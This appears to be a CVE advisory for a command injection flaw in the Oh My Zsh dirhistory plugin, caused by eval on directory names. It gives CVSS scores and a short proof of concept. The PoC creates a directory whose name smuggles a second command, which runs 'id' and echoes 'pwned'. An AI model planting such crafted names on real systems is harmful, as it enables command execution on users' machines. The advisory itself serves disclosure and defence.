title: OS Command Injection in ohmyzsh/ohmyzsh
description: Vulnerability in dirhistory plugin Description: the widgets that go back and forward in the directory history, triggered by pressing Alt-Left and Alt-Right, use functions that unsafely execute eval on directory names. If you cd into a directory with a carefully-crafted name, then press Alt-Left, the system is subject to command injection. Impacted areas: - Functions pop_past and pop_future in dirhistory plugin.
problem types: CWE-78 OS Command Injection
affected:
{
product: ohmyzsh/ohmyzsh
vendor: ohmyzsh
versions:
lessThan: 06fc5fb, status: affected, version: unspecified, versionType: custom
}
metrics:
cvssV3_1: [
attackComplexity: HIGH
attackVector: NETWORK
availabilityImpact: HIGH
baseScore: 7.5
baseSeverity: HIGH
confidentialityImpact: HIGH
integrityImpact: HIGH
privilegesRequired: NONE
scope: UNCHANGED
userInteraction: REQUIRED
vectorString: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
version: 3.1
]
exploits: Exploit PoC:
1. Install Oh My Zsh.
2. Enable the dirhistory plugin.
3. Open a terminal and create and cd into a directory like so:
baddir="directory';id;echo 'pwned"
mkdir "$baddir" && cd "$baddir"
4. Press Alt-Left to go back to previous directory (in macOS, use Option-Left).
5. id and echo pwned are executed:
$ <Alt-Left>
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),...
pwned